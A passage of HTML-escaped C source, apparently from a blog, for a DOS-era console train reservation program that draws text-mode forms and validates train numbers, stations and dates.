/&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Ú");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(80,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("³");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void reserv()&lt;br /&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int i,flag,j,k,test,found,set_no,count1=0,year;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;struct date d;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;float pnrno;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char tno[3],ans;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char a[1],c,age[3],ch;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;char *p;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;FILE *ptr,*pno,*tr;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;closegraph();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;highvideo();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;//Design Part&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;clear();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;drawbox();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(3,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;74;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;j=3;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;4;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(3,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(77,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;j++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(3,6);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;75;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(6,2);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf(" Journey Details ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(15,18,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(5,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Train No : ");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(32,46,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(20,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Train Name :");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(67,68,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(71,72,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(75,76,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(49,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Date of Booking :");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(67,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;getdate(&amp;amp;d);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("%d",d.da_day);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(69,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;putch('-');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(71,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("%d",d.da_mon);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;putch(' -');&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("%d",d.da_year);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(12,14,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(5,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("From :");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(27,29,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(20,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("To :");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(67,68,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(71,72,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(75,76,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(49,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Date Of Journey :");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(3,8);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;=74;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(7,8);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("Passenger Details");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;j=9;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;14;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(3,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(77,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;j++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(3,23);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(3,23);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;74;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(4,10);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;73;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("Ä");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;color(8,31,11);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(22,9);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("NAME");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(46,9);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("SEX");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(53,9);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("AGE");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(65,9);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;printf("REMARKS");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;j=9;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;14;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(44,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(51,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(58,j);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;printf("³");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;j++;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;for(i=0;i&amp;lt;6;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(5,38,(11+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(46,48,(11+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(53,56,(11+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(5,38,(16+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(46,48,(16+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;color(53,56,(16+i));&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;//User input part&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(15,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;int len;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;//name input&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gets(passenger.tno);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if(len=(strlen(passenger.tno))!=4)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("Train No Must be 4 digits long");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24); //clears the line&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(15,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;tr=fopen("tra.dat","r");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fread(&amp;amp;train,sizeof(train),1,tr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;while(!feof(tr))&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if((strcmp(passenger.tno,train.tno))==0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;found=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;else&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;found=2;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;fread(&amp;amp;train,sizeof(train),1,tr);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if(found==2)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(8,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("This Train No does not exist");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(15,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while(strlen(passenger.tno)!=4||flag==1);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;if(found==0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(32,3);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;puts(train.tname);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;found=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(12,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;scanf("%[^&lt;br /&gt;]",passenger.from);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strupr(passenger.from);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if (strlen(passenger.from) == 0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aFrom field should not be left BLANK");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if (strlen(passenger.from) != 3)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aFrom should be equal to 3 characters");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;for(i=0;i&amp;lt;3;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;ch=passenger.from[i];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(isdigit(ch))&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;printf("aEnter a valid Boarding Place");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while (flag==0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(12,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;puts(passenger.from);&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;do&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;flag=1;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;gotoxy(27,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;scanf("%[^&lt;br /&gt;]",passenger.to);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;strupr(passenger.to);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;if (strlen(passenger.to) == 0)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aTo field should not be left BLANK");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;else if (strlen(passenger.to) != 3)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;printf("aTo should be equal to 3 characters");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;for(i=0;i&amp;lt;3;i++)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;ch=passenger.to[i];&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;if(isdigit(ch))&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;gotoxy(10,24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;printf("aEnter a valid Destination Place");&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;flag=0;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;clearline(24);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;				&lt;/span&gt;break;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;			&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;		&lt;/span&gt;}&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;}while (flag==0);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(27,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;puts(passenger.to);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;i=j=k=0;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;gotoxy(67,5);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;while(c!=13)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;{&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;fflush(stdin);&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;c=getch();&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;if((c&amp;lt;'0'||c&amp;gt;'9')&amp;amp;&amp;amp;c!=13&amp;amp;&amp;amp;c!=8)&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt; &amp;nbsp; &amp;nbsp;{&lt;br /&gt;&lt;span 